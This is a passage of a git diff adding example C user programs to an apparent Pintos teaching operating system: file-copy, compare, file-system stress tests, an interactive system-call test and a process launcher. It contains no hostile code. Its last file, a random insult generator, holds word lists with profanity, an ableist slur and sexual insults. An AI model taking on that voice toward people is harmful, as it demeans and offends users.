+ buffer[0][i], buffer[0][i], argv[1],
+ buffer[1][i], buffer[1][i], argv[2]);
+ return EXIT_FAILURE;
+ }
+
+ if (min_read < bytes_read[1])
+ printf ("%s is shorter than %s\n", argv[1], argv[2]);
+ else if (min_read < bytes_read[0])
+ printf ("%s is shorter than %s\n", argv[2], argv[1]);
+ }
+
+ printf ("%s and %s are identical\n", argv[1], argv[2]);
+
+ return EXIT_SUCCESS;
+}
diff --git a/src/examples/cp.c b/src/examples/cp.c
new file mode 100644
index 0000000..86a5cd7
--- /dev/null
+++ b/src/examples/cp.c
@@ -0,0 +1,55 @@
+/* cat.c
+
+Copies one file to another. */
+
+#include <stdio.h>
+#include <syscall.h>
+
+int
+main (int argc, char *argv[])
+{
+ int in_fd, out_fd;
+
+ if (argc != 3)
+ {
+ printf ("usage: cp OLD NEW\n");
+ return EXIT_FAILURE;
+ }
+
+ /* Open input file. */
+ in_fd = open (argv[1]);
+ if (in_fd < 0)
+ {
+ printf ("%s: open failed\n", argv[1]);
+ return EXIT_FAILURE;
+ }
+
+ /* Create and open output file. */
+ if (!create (argv[2], filesize (in_fd)))
+ {
+ printf ("%s: create failed\n", argv[2]);
+ return EXIT_FAILURE;
+ }
+ out_fd = open (argv[2]);
+ if (out_fd < 0)
+ {
+ printf ("%s: open failed\n", argv[2]);
+ return EXIT_FAILURE;
+ }
+
+ /* Copy data. */
+ for (;;)
+ {
+ char buffer[1024];
+ int bytes_read = read (in_fd, buffer, sizeof buffer);
+ if (bytes_read == 0)
+ break;
+ if (write (out_fd, buffer, bytes_read) != bytes_read)
+ {
+ printf ("%s: write failed\n", argv[2]);
+ return EXIT_FAILURE;
+ }
+ }
+
+ return EXIT_SUCCESS;
+}
diff --git a/src/examples/crack.c b/src/examples/crack.c
new file mode 100644
index 0000000..54d99ad
--- /dev/null
+++ b/src/examples/crack.c
@@ -0,0 +1,27 @@
+/* klaar@ida
+
+ This program prints some ascii art...
+ */
+#include <syscall.h>
+#include <stdio.h>
+#include <string.h>
+
+int
+main (void)
+{
+ const char* msg[5] = {
+ " Y Y OOO O O | RRR EEEE DDD OOO N N EEEE \n",
+ " Y Y O O O O | R R E D D O O NN N E \n",
+ " YYY O O O O RRR EEE D D O O N N N EEE \n",
+ " Y O O O O R R E D D O O N NN E \n",
+ " Y OOO OOO R R EEEE DDD OOO N N EEEE \n"
+ };
+ int i;
+
+ for (i = 0; i < 5; ++i)
+ {
+ write (STDOUT_FILENO, msg[i], strlen(msg[i]));
+ }
+
+ return 0;
+}
diff --git a/src/examples/create_file.c b/src/examples/create_file.c
new file mode 100644
index 0000000..5c1eeb2
--- /dev/null
+++ b/src/examples/create_file.c
@@ -0,0 +1,22 @@
+/* klaar@ida
+*/
+
+#include <stdio.h>
+#include <syscall.h>
+
+int main(int argc, char* argv[])
+{
+ if (argc != 2)
+ {
+ printf("%s: bad arguments\n", argv[0]);
+ return 1;
+ }
+
+ while ( open("go") == -1 )
+ ;
+
+ if ( ! create(argv[1], 500) )
+ return 1;
+
+ return 0;
+}
diff --git a/src/examples/create_remove_file.c b/src/examples/create_remove_file.c
new file mode 100644
index 0000000..93f191e
--- /dev/null
+++ b/src/examples/create_remove_file.c
@@ -0,0 +1,58 @@
+/* klaar@ida
+*/
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <syscall.h>
+
+int main(int argc, char* argv[])
+{
+ char buf[40];
+ char ref[40];
+ int loops;
+ int i, n;
+ int fd;
+
+ if (argc != 3)
+ {
+ printf("%s: bad arguments\n", argv[0]);
+ return 1;
+ }
+
+ loops = atoi(argv[2]);
+
+ for (i = 0; i < loops; ++i)
+ {
+ if ( create(argv[1], 500) )
+ {
+ snprintf(ref, 40, "file '%s' iteration %d", argv[1], i);
+ fd = open(argv[1]);
+ remove(argv[1]);
+
+ write(fd, ref, strlen(ref));
+ seek(fd, 0);
+ for (n = 0; n < 100; ++n)
+ ;
+ read(fd, buf, 40);
+ close(fd);
+
+ if (strcmp(ref, buf) != 0)
+ {
+ printf("%s: ERROR bad file content\n", argv[0]);
+ printf("%s: written : '%s'\n", argv[0], ref);
+ printf("%s: read back: '%s'\n", argv[0], buf);
+ exit(1);
+ }
+
+ if ( (i * 10000 / loops) % 1000 == 0 )
+ printf("%s: %d%% done\n", argv[0], (i * 100 / loops));
+ }
+ else
+ {
+ printf("%s: ERROR create '%s' failed\n", argv[0], argv[1]);
+ exit(1);
+ }
+ }
+ return 0;
+}
diff --git a/src/examples/dir_stress.c b/src/examples/dir_stress.c
new file mode 100644
index 0000000..23c4de4
--- /dev/null
+++ b/src/examples/dir_stress.c
@@ -0,0 +1,95 @@
+/* klaar@ida
+
+ pintos -v -k -T 180 --fs-disk=2 --qemu -p ../examples/create_file -a create_file -p ../examples/create_remove_file -a cr_rm_file -p ../examples/dir_stress -a dir_stress -- -f -q run dir_stress
+
+*/
+
+#include <stdio.h>
+#include <syscall.h>
+
+#define CREATORS 20 /* no of procs to concurrently create files */
+#define LOADERS 11 /* no of procs to create/remove */
+#define CYCLES 100 /* how many create/remove cycles to do */
+#define TRIES 20 /* how many tries to create duplicates */
+#define BUFSIZE 40 /* exec cmd line buffer */
+
+int main(void)
+{
+ char buffer[BUFSIZE];
+ int creator_pid[CREATORS];
+ int loader_pid[LOADERS];
+ int exit_status = 0;
+ int i, n;
+
+ /* put some load on the directory */
+ for (i = 0; i < LOADERS; ++i)
+ {
+ snprintf(buffer, BUFSIZE, "cr_rm_file load.%d %d", i, CYCLES);
+ loader_pid[i] = exec(buffer);
+ }
+
+ for (n = 0; n < TRIES; ++n)
+ {
+ int success_count = 0;
+ int crash_count = 0;
+ int fail_count = 0;
+
+ /* set up processes to simultaneously create same file */
+ for (i = 0; i < CREATORS; ++i)
+ {
+ snprintf(buffer, BUFSIZE, "create_file file.%d", n);
+ creator_pid[i] = exec(buffer);
+ }
+
+ /* all creators will wait for this file to appear */
+ create("go", 1);
+
+ /* wait for creators to finish */
+ for (i = 0; i < CREATORS; ++i)
+ {
+ int r = wait(creator_pid[i]);
+ success_count += (r == 0);
+ crash_count += (r == -1);
+ fail_count += (r == 1);
+ }
+
+ remove("go");
+
+ /* clean up the created file */
+ snprintf(buffer, BUFSIZE, "file.%d", n);
+ remove(buffer);
+
+ /* only one creator should succed */
+ if (success_count != 1)
+ {
+ printf("ERROR: %d files with same name created\n",
+ success_count);
+ exit_status = -1;
+ }
+ if (crash_count != 0)
+ {
+ printf("ERROR: %d creator processes crashed\n",
+ crash_count);
+ exit_status = -1;
+ }
+ if (fail_count != (CREATORS - 1))
+ {
+ printf("ERROR: %d creator processes failed\n",
+ fail_count);
+ exit_status = -1;
+ }
+ }
+
+ for (i = 0; i < LOADERS; ++i)
+ {
+ int result = wait( loader_pid[i] );
+ if ( result != 0 )
+ {
+ printf("ERROR: loader %d finished with code %d\n",
+ loader_pid[i], result);
+ exit_status = -1;
+ }
+ }
+
+ return exit_status;
+}
diff --git a/src/examples/dummy.c b/src/examples/dummy.c
new file mode 100644
index 0000000..e36665d
--- /dev/null
+++ b/src/examples/dummy.c
@@ -0,0 +1,17 @@
+/* klaar@ida
+
+ A small dummy process that just uses up a process slot in the long
+ runtime test. Just return it's first argument.
+
+ Normally used by some paren process.
+ */
+
+#include <stdlib.h>
+
+int main(int argc, char* argv[])
+{
+ if (argc != 2)
+ return 0;
+
+ return atoi(argv[1]);
+}
diff --git a/src/examples/echo.c b/src/examples/echo.c
new file mode 100644
index 0000000..1b136f2
--- /dev/null
+++ b/src/examples/echo.c
@@ -0,0 +1,14 @@
+#include <stdio.h>
+#include <syscall.h>
+
+int
+main (int argc, char **argv)
+{
+ int i;
+
+ for (i = 0; i < argc; i++)
+ printf ("%s ", argv[i]);
+ printf ("\n");
+
+ return EXIT_SUCCESS;
+}
diff --git a/src/examples/file_syscall_tests.c b/src/examples/file_syscall_tests.c
new file mode 100644
index 0000000..53358eb
--- /dev/null
+++ b/src/examples/file_syscall_tests.c
@@ -0,0 +1,365 @@
+/* klaar@ida
+
+ pintos -v -k --fs-disk=2 -p ../examples/file_syscall_tests -a fst -- -f -q run 'fst testing one two three'
+
+ NOTE:
+ "file_syscall_tests" is too long a filename for Pintos, it
+ must be shortened. The simplest way is to rename it to a
+ shorter name using the "-a" flag as in the command line above.
+
+ Test program for basic system calls. Inspired by previous versions
+ by various IDA-employees / lab-assistanst.
+
+ Emergency exit QEMU bu pressing C-a x (release Ctrl before pressing x)
+
+ DONE: Warn when '\r' instead of '\n'
+ DONE: Check result for JUNK
+ DONE: Compare/verify content of buffer after reads.
+ DONE: Make sure content of buffer is known/reset before filling it.
+ */
+
+#include <stdio.h>
+#include <string.h>
+#include <syscall.h>
+
+#define SIZE 1024
+#define JUNK 0xCCCC /* 52428 */
+#define CRAP 0xDDDD
+
+#define msg( comment ) \
+ write ( STDOUT_FILENO, "\n" comment "\n", strlen (comment) + 2 )
+
+#define end( comment ) \
+ write ( STDOUT_FILENO, "\n" comment "\n", strlen (comment) + 2 );\
+ skip_line ()
+
+static void skip_line( void );
+static int get_line( char* buf, int size );
+static void verify(int test);
+static void init_buffer(char*, int);
+
+int main(int argc, char* argv[])
+{
+ int id = JUNK;
+ int i, j;
+
+ msg ( "* ------------------ write screen test ------------------ *" );
+ {
+ char* msg = "Now displaying the arguments to main\n";
+ int length = strlen (msg);
+ int result = JUNK;
+
+ result = write (STDOUT_FILENO, msg, length);
+
+ for ( i = 0; i < argc; ++i )
+ {
+ write (STDOUT_FILENO, argv[i], strlen (argv[i]) );
+ write (STDOUT_FILENO, "\n", 1);
+ }
+
+ verify (length == result);
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+ printf ("To emergency exit QEMU at any time:\n");
+ printf ("Hold 'Control' and press 'a' and then \n");
+ printf ("release 'Control' and press 'x'\n");
+
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ----------------- read keyboard test ------------------ *" );
+ {
+ char* input = "qwerty1234";
+ char buffer[10];
+ int length = CRAP;
+ int result = JUNK;
+ char yes;
+
+ init_buffer(buffer, 10);
+
+ printf ("Will now try to read 10 characters.\n");
+ printf ("Please write \"%s\": ", input);
+ result = read ( STDIN_FILENO, buffer, 10 );
+ length = strlen( buffer );
+ printf ("\nThe following characters was read: '%s'\n", buffer);
+
+ verify ( length == result && memcmp(buffer, input, 10) == 0 );
+
+ printf ("\nDid you see each character as you typed it? (y/n) ");
+ result = read ( STDIN_FILENO, &yes, 1 );
+ printf ("\n");
+
+ verify ( result == 1 && yes == 'y');
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ------------------ create file test ------------------- *" );
+ {
+ int success = JUNK;
+
+ printf ("Will try to create 'test.txt'\n");
+ success = create("test.txt", SIZE);
+ verify ( success != JUNK && success );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ------------------ open file test --------------------- *" );
+ {
+ printf ("Will try to open 'non_existent_file'\n");
+ id = open("non_existent_file");
+ verify ( id == -1 );
+
+ printf ("Will try to open 'test.txt'\n");
+ id = open("test.txt");
+ verify ( id > 1 );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ------------------ write file test -------------------- *" );
+ {
+ char buffer[8];
+ int result = JUNK;
+ bool success = true;
+
+ init_buffer(buffer, 8);
+
+ printf ("Will try to write a sequence to '%d'\n", id);
+ for ( i = 0; i < 16; ++i)
+ {
+ for ( j = 0; j < 16; ++j)
+ {
+ snprintf(buffer, 8, "%4d", i*16+j);
+ result = write(STDOUT_FILENO, buffer, 4);
+ result = write(id, buffer, 4);
+ success = success && (result == 4);
+ }
+ result = write(STDOUT_FILENO, "\n", 1);
+ }
+ verify ( success );
+
+ printf ("Will try to write 8 characters to '%d'\n", JUNK);
+ result = write(JUNK, buffer, 8);
+ verify ( result == -1 );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ------------------ read file test --------------------- *" );
+ {
+ char buffer[8];
+ char verify_buffer[8];
+ int result = JUNK;
+ bool success = true;
+
+ init_buffer(buffer, 8);
+ init_buffer(verify_buffer, 8);
+
+ printf ("Will try to reopen 'test.txt'\n");
+ close(id);
+ id = open("test.txt");
+
+ printf ("Will try to read a sequence from '%d'\n", id);
+ for ( i = 0; i < 16; ++i)
+ {
+ for ( j = 0; j < 16; ++j)
+ {
+ snprintf(verify_buffer, 8, "%4d", i*16+j);
+ result = read(id, buffer, 4);
+ success = success && (result == 4);
+ result = write(STDOUT_FILENO, buffer, 4);
+
+ success = success && (memcmp(buffer, verify_buffer, 4) == 0);
+ }
+ result = write(STDOUT_FILENO, "\n", 1);
+ }
+ verify ( success );
+
+ printf ("Will try to read 8 characters from '%d'\n", JUNK);
+ result = read(JUNK, buffer, 8);
+ verify ( result == -1 );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ------------------ close file test -------------------- *" );
+ {
+ char buffer[128];
+ int result = JUNK;
+
+ init_buffer(buffer, 128);
+
+ printf ("Will try to close 'STDIN_FILENO' and then read from it.\n");
+ printf ("Write some input please: ");
+ close(STDIN_FILENO);
+ result = get_line(buffer, 128);
+ verify ( result < 128 && result == (int)strlen(buffer) );
+
+ printf ("Will try to close 'STDOUT_FILENO' and then write to it.\n");
+ close(STDOUT_FILENO);
+ result = write(STDOUT_FILENO, buffer, strlen(buffer));
+ printf ("\n");
+ verify ( result == (int)strlen(buffer) );
+
+ printf ("Will try to close id '%d' and then read from it\n", id);
+ close(id);
+ result = read(id, buffer, 128);
+ verify ( result == -1 );
+
+ printf ("Will try to close id '%d' and then read from it\n", id);
+ close(JUNK);
+ result = read(JUNK, buffer, 128);
+ verify ( result == -1 );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ------------------ remove file test ------------------- *" );
+ {
+ int success = JUNK;
+
+ printf ("Will try to remove 'test.txt' and then open it\n");
+ success = remove("test.txt");
+ id = open("test.txt");
+ verify ( success && id == -1 );
+
+ printf ("Will try to remove 'non_existent_file'\n");
+ success = remove("non_existent_file");
+ verify ( ! success );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+
+ printf ("To emergency exit QEMU at any time:\n");
+ printf ("Hold 'Control' and press 'a' and then \n");
+ printf ("release 'Control' and press 'x'\n");
+
+ end ( "* -------------------- press enter ---------------------- *" );
+
+
+ msg ( "* ---------------- seek/tell file test ------------------ *" );
+ {
+ char buffer[8];
+ char verify_buffer[8];
+ int result = JUNK;
+ int success = CRAP;
+
+ init_buffer(buffer, 8);
+ init_buffer(verify_buffer, 8);
+
+ printf ("Will try to create and open 'test.txt'\n");
+ success = create("test.txt", SIZE);
+ id = open("test.txt");
+ verify ( success != CRAP && success && id > 1 );
+
+ printf ("Will try to write a sequence to '%d'\n", id);
+ for ( i = 0; i < 16; ++i)
+ {
+ for ( j = 0; j < 16; ++j)
+ {
+ snprintf (buffer, 8, "%4d", j*16+i);
+ seek (id, (j*16+i)*4);
+ result = write (STDOUT_FILENO, buffer, 4);
+ result = write (id, buffer, 4);
+ success = success && (result == 4);
+ result = tell (id);
+ success = success && (result == (j*16+i+1)*4);
+ }
+ result = write(STDOUT_FILENO, "\n", 1);
+ }
+ verify ( success );
+
+ printf ("Will try to read the sequence from '%d'\n", id);
+ seek (id, 0);
+ for ( i = 0; i < 16; ++i)
+ {
+ for ( j = 0; j < 16; ++j)
+ {
+ snprintf (verify_buffer, 8, "%4d", i*16+j);
+ result = read(id, buffer, 4);
+ success = success && (result == 4);
+ result = write(STDOUT_FILENO, buffer, 4);
+
+ success = success && (memcmp(buffer, verify_buffer, 4) == 0);
+ }
+ result = write(STDOUT_FILENO, "\n", 1);
+ }
+ result = tell (id);
+ verify ( success && result == 256*4 );
+
+ printf ("Will try to determine filesize and seek past it\n");
+ result = filesize (id);
+ seek (id, result*2);
+ verify ( result == SIZE );
+ }
+ end ( "* -------------------- press enter ---------------------- *" );
+ return 0;
+}
+
+
+const char* crlf_warning = ("\033[1;31;40mWARNING\033[1;0m: "
+ "You should convert '\\r' to '\\n'.\n");
+
+static void skip_line( void )
+{
+ char c = '\0';
+
+ while ( c != '\n' && c != '\r' )
+ read ( STDIN_FILENO, &c, 1);
+
+ if ( c == '\r' )
+ write ( STDOUT_FILENO, crlf_warning, strlen ( crlf_warning ) );
+}
+
+
+static int get_line( char* buf, int size )
+{
+ int i;
+
+ for ( i = 0; i < (size - 1); ++i)
+ {
+ buf[i] = '\0';
+
+ if (read ( STDIN_FILENO, buf+i, 1) != 1)
+ return -1;
+
+ if ( buf[i] == '\r' )
+ write ( STDOUT_FILENO, crlf_warning, strlen ( crlf_warning ) );
+
+ if ( buf[i] == '\n' )
+ break;
+ }
+ buf[i] = '\0';
+ return i;
+}
+
+
+static void verify(int test)
+{
+ /* will only print nice in vt100 terminal */
+ /* assuming black background */
+ const char* result[3] = {"\033[1;31;40m WRONG RESULT \033[1;0m \n",
+ "\033[1;32;40m RESULT OK \033[1;0m \n",
+ "\033[1;31;40m BAD BOOLEAN \033[1;0m \n"};
+
+ if (test < 0 || test > 1)
+ test = 2;
+
+ write ( STDOUT_FILENO, result[ test ], strlen (result[ test ]) );
+}
+
+
+static void init_buffer(char* buffer, int size)
+{
+ const char* data = "ERROR";
+ const int S = strlen(data);
+ int i;
+
+ for (i = 0; i < (size - 1); ++i)
+ {
+ buffer[i] = data[i % S];
+ }
+ buffer[i] = '\0';
+}
diff --git a/src/examples/generic_parent.c b/src/examples/generic_parent.c
new file mode 100644
index 0000000..dd8f11d
--- /dev/null
+++ b/src/examples/generic_parent.c
@@ -0,0 +1,48 @@
+/* klaar@ida
+
+ Will try to start N child-processes, giving each an increasing
+ number starting on S as argument to main. Will return S+C where C
+ is the number of sucessfully started children.
+
+ Normally used from some parent program.
+ */
+
+#include <syscall.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+#define BUF_SIZE 64
+
+int main(int argc, char* argv[])
+{
+ int i;
+ char cmd[BUF_SIZE];
+ char* child;
+ int start;
+ int count;
+
+ if (argc != 4)
+ {
+ printf("Usage: %s CHILD S N\n", argv[0]);
+ printf("%s starts N copies of CHILD.\n", argv[0]);
+ printf("Each child receives an unique integer I as first parameter in the range S..(S+N-1).\n");
+ printf("Returns S + N on success, S + I if only I children could be started.\n");
+ return -1;
+ }
+
+ child = argv[1];
+ start = atoi(argv[2]);
+ count = atoi(argv[3]);
+
+ for(i = 0; i < count; i++)
+ {
+ snprintf(cmd, BUF_SIZE, "%s %i", child, start + i);
+ if (exec(cmd) == -1)
+ {
+ printf("!! ERROR !!\n");
+ printf("Could not start '%s'\n", cmd);
+ break;
+ }
+ }
+ exit(start + i);
+}
diff --git a/src/examples/halt.c b/src/examples/halt.c
new file mode 100644
index 0000000..bad7250
--- /dev/null
+++ b/src/examples/halt.c
@@ -0,0 +1,14 @@
+/* halt.c
+
+ Simple program to test whether running a user program works.
+
+ Just invokes a system call that shuts down the OS. */
+
+#include <syscall.h>
+
+int
+main (void)
+{
+ halt ();
+ /* not reached */
+}
diff --git a/src/examples/hex-dump.c b/src/examples/hex-dump.c
new file mode 100644
index 0000000..ee313f2
--- /dev/null
+++ b/src/examples/hex-dump.c
@@ -0,0 +1,35 @@
+/* hex-dump.c
+
+ Prints files specified on command line to the console in hex. */
+
+#include <stdio.h>
+#include <syscall.h>
+
+int
+main (int argc, char *argv[])
+{
+ bool success = true;
+ int i;
+
+ for (i = 1; i < argc; i++)
+ {
+ int fd = open (argv[i]);
+ if (fd < 0)
+ {
+ printf ("%s: open failed\n", argv[i]);
+ success = false;
+ continue;
+ }
+ for (;;)
+ {
+ char buffer[1024];
+ int pos = tell (fd);
+ int bytes_read = read (fd, buffer, sizeof buffer);
+ if (bytes_read == 0)
+ break;
+ hex_dump (pos, buffer, bytes_read, true);
+ }
+ close (fd);
+ }
+ return success ? EXIT_SUCCESS : EXIT_FAILURE;
+}
diff --git a/src/examples/insult.c b/src/examples/insult.c
new file mode 100644
index 0000000..0066af6
--- /dev/null
+++ b/src/examples/insult.c
@@ -0,0 +1,368 @@
+/* Insult.c
+
+ This is a version of the famous CS 107 random sentence
+ generator. I wrote a program that reads a grammar definition
+ file and writes a C file containing that grammar as hard code
+ static C strings. Thus the majority of the code below in
+ machine generated and totally unreadable. The arrays created
+ are specially designed to make generating the sentences as
+ easy as possible.
+
+ Originally by Greg Hutchins, March 1998.
+ Modified by Ben Pfaff for Pintos, Sept 2004. */
+char *start[] =
+ { "You", "1", "5", ".", "May", "13", ".", "With", "the", "19", "of", "18",
+",", "may", "13", "."
+};
+char startLoc[] = { 3, 0, 4, 7, 16 };
+char *adj[] = { "3", "4", "2", ",", "1" };
+char adjLoc[] = { 3, 0, 1, 2, 5 };
+char *adj3[] = { "3", "4" };
+char adj3Loc[] = { 2, 0, 1, 2 };
+char *adj1[] =
+ { "lame", "dried", "up", "par-broiled", "bloated", "half-baked", "spiteful",
+"egotistical", "ungrateful", "stupid", "moronic", "fat", "ugly", "puny", "pitiful",
+"insignificant", "blithering", "repulsive", "worthless", "blundering", "retarded",
+"useless", "obnoxious", "low-budget", "assinine", "neurotic", "subhuman", "crochety",
+"indescribable", "contemptible", "unspeakable", "sick", "lazy", "good-for-nothing",
+"slutty", "mentally-deficient", "creepy", "sloppy", "dismal", "pompous", "pathetic",
+"friendless", "revolting", "slovenly", "cantankerous", "uncultured", "insufferable",
+"gross", "unkempt", "defective", "crumby"
+};
+char adj1Loc[] =
+ { 50, 0, 1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
+21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
+43, 44, 45, 46, 47, 48, 49, 50, 51 };
+char *adj2[] =
+ { "putrefied", "festering", "funky", "moldy", "leprous", "curdled", "fetid",
+"slimy", "crusty", "sweaty", "damp", "deranged", "smelly", "stenchy", "malignant",
+"noxious", "grimy", "reeky", "nasty", "mutilated", "sloppy", "gruesome", "grisly",
+"sloshy", "wormy", "mealy", "spoiled", "contaminated", "rancid", "musty",
+"fly-covered", "moth-eaten", "decaying", "decomposed", "freeze-dried", "defective",
+"petrified", "rotting", "scabrous", "hirsute"
+};
+char adj2Loc[] =
+ { 40, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
+20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40 };
+char *name[] =
+ { "10", ",", "bad", "excuse", "for", "6", ",", "6", "for", "brains", ",",
+"4", "11", "8", "for", "brains", "offspring", "of", "a", "motherless", "10", "7", "6",
+"7", "4", "11", "8"
+};
+char nameLoc[] = { 7, 0, 1, 6, 10, 16, 21, 23, 27 };
+char *stuff[] =
+ { "shit", "toe", "jam", "filth", "puss", "earwax", "leaf", "clippings",
+"bat", "guano", "mucus", "fungus", "mung", "refuse", "earwax", "spittoon", "spittle",
+"phlegm"
+};
+char stuffLoc[] = { 14, 0, 1, 3, 4, 5, 6, 8, 10, 11, 12, 13, 14, 15, 17, 18 };
+char *noun_and_prep[] =
+ { "bit", "of", "piece", "of", "vat", "of", "lump", "of", "crock", "of",
+"ball", "of", "tub", "of", "load", "of", "bucket", "of", "mound", "of", "glob", "of", "bag",
+"of", "heap", "of", "mountain", "of", "load", "of", "barrel", "of", "sack", "of", "blob", "of",
+"pile", "of", "truckload", "of", "vat", "of"
+};
+char noun_and_prepLoc[] =
+ { 21, 0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36,
+38, 40, 42 };
+char *organics[] =
+ { "droppings", "mung", "zits", "puckies", "tumors", "cysts", "tumors",
+"livers", "froth", "parts", "scabs", "guts", "entrails", "blubber", "carcuses", "gizards",
+"9"
+};
+char organicsLoc[] =
+ { 17, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17 };
+char *body_parts[] =
+ { "kidneys", "genitals", "buttocks", "earlobes", "innards", "feet"
+};
+char body_partsLoc[] = { 6, 0, 1, 2, 3, 4, 5, 6 };
+char *noun[] =
+ { "pop", "tart", "warthog", "twinkie", "barnacle", "fondue", "pot",
+"cretin", "fuckwad", "moron", "ass", "neanderthal", "nincompoop", "simpleton", "11"
+};
+char nounLoc[] = { 13, 0, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14, 15 };
+char *animal[] =
+ { "donkey", "llama", "dingo", "lizard", "gekko", "lemur", "moose", "camel",
+"goat", "eel"
+};
+char animalLoc[] = { 10, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
+char *good_verb[] =
+ { "love", "cuddle", "fondle", "adore", "smooch", "hug", "caress", "worship",
+"look", "at", "touch"
+};
+char good_verbLoc[] = { 10, 0, 1, 2, 3, 4, 5, 6, 7, 8, 10, 11 };
+char *curse[] =
+ { "14", "20", "23", "14", "17", "20", "23", "14", "find", "your", "9",
+"suddenly", "delectable", "14", "and", "14", "seek", "a", "battleground", "23"
+};
+char curseLoc[] = { 4, 0, 3, 7, 13, 20 };
+char *afflictors[] =
+ { "15", "21", "15", "21", "15", "21", "15", "21", "a", "22", "Rush",
+"Limbaugh", "the", "hosts", "of", "Hades"
+};
+char afflictorsLoc[] = { 6, 0, 2, 4, 6, 8, 12, 16 };
+char *quantity[] =
+ { "a", "4", "hoard", "of", "a", "4", "pack", "of", "a", "truckload", "of",
+"a", "swarm", "of", "many", "an", "army", "of", "a", "4", "heard", "of", "a", "4",
+"platoon", "of", "a", "4", "and", "4", "group", "of", "16"
+};
+char quantityLoc[] = { 10, 0, 4, 8, 11, 14, 15, 18, 22, 26, 32, 33 };
+char *numbers[] =
+ { "a", "thousand", "three", "million", "ninty-nine", "nine-hundred,",
+"ninty-nine", "forty-two", "a", "gazillion", "sixty-eight", "times", "thirty-three"
+};
+char numbersLoc[] = { 7, 0, 2, 4, 5, 7, 8, 10, 13 };
+char *adv[] =
+ { "viciously", "manicly", "merrily", "happily", ",", "with", "the", "19",
+"of", "18", ",", "gleefully", ",", "with", "much", "ritualistic", "celebration", ",",
+"franticly"
+};
+char advLoc[] = { 8, 0, 1, 2, 3, 4, 11, 12, 18, 19 };
+char *metaphor[] =
+ { "an", "irate", "manticore", "Thor's", "belch", "Alah's", "fist", "16",
+"titans", "a", "particularly", "vicious", "she-bear", "in", "the", "midst", "of", "her",
+"menstrual", "cycle", "a", "pissed-off", "Jabberwock"
+};
+char metaphorLoc[] = { 6, 0, 3, 5, 7, 9, 20, 23 };
+char *force[] = { "force", "fury", "power", "rage" };
+char forceLoc[] = { 4, 0, 1, 2, 3, 4 };
+char *bad_action[] =
+ { "spit", "shimmy", "slobber", "find", "refuge", "find", "shelter", "dance",
+"retch", "vomit", "defecate", "erect", "a", "strip", "mall", "build", "a", "26", "have", "a",
+"religious", "experience", "discharge", "bodily", "waste", "fart", "dance", "drool",
+"lambada", "spill", "16", "rusty", "tacks", "bite", "you", "sneeze", "sing", "16",
+"campfire", "songs", "smite", "you", "16", "times", "construct", "a", "new", "home", "throw",
+"a", "party", "procreate"
+};
+char bad_actionLoc[] =
+ { 25, 0, 1, 2, 3, 5, 7, 8, 9, 10, 11, 15, 18, 22, 25, 26, 27, 28, 29, 33,
+35, 36, 40, 44, 48, 51, 52 };
+char *beasties[] =
+ { "yaks", "22", "maggots", "22", "cockroaches", "stinging", "scorpions",
+"fleas", "22", "weasels", "22", "gnats", "South", "American", "killer", "bees", "spiders",
+"4", "monkeys", "22", "wiener-dogs", "22", "rats", "22", "wolverines", "4", ",", "22",
+"pit-fiends"
+};
+char beastiesLoc[] =
+ { 14, 0, 1, 3, 5, 7, 8, 10, 12, 16, 17, 19, 21, 23, 25, 29 };
+char *condition[] =
+ { "frothing", "manic", "crazed", "plague-ridden", "disease-carrying",
+"biting", "rabid", "blood-thirsty", "ravaging", "slavering"
+};
+char conditionLoc[] = { 10, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
+char *place[] =
+ { "in", "24", "25", "upon", "your", "mother's", "grave", "on", "24", "best",
+"rug", "in", "the", "26", "you", "call", "home", "upon", "your", "heinie"
+};
+char placeLoc[] = { 5, 0, 3, 7, 11, 17, 20 };
+char *relation[] =
+ { "your", "your", "your", "your", "father's", "your", "mother's", "your",
+"grandma's"
+};
+char relationLoc[] = { 6, 0, 1, 2, 3, 5, 7, 9 };
+char *in_something[] =
+ { "entrails", "anal", "cavity", "shoes", "house", "pantry", "general",
+"direction", "pants", "bed"
+};
+char in_somethingLoc[] = { 8, 0, 1, 3, 4, 5, 6, 8, 9, 10 };
+char *bad_place[] =
+ { "rat", "hole", "sewer", "toxic", "dump", "oil", "refinery", "landfill",
+"porto-pottie"
+};
+char bad_placeLoc[] = { 6, 0, 2, 3, 5, 7, 8, 9 };
+char **daGrammar[27];
+char *daGLoc[27];
+
+static void
+init_grammar (void)
+{
+ daGrammar[0] = start;
+ daGLoc[0] = startLoc;
+ daGrammar[1] = adj;
+ daGLoc[1] = adjLoc;
+ daGrammar[2] = adj3;
+ daGLoc[2] = adj3Loc;
+ daGrammar[3] = adj1;
+ daGLoc[3] = adj1Loc;
+ daGrammar[4] = adj2;
+ daGLoc[4] = adj2Loc;
+ daGrammar[5] = name;
+ daGLoc[5] = nameLoc;
+ daGrammar[6] = stuff;
+ daGLoc[6] = stuffLoc;
+ daGrammar[7] = noun_and_prep;
+ daGLoc[7] = noun_and_prepLoc;
+ daGrammar[8] = organics;
+ daGLoc[8] = organicsLoc;
+ daGrammar[9] = body_parts;
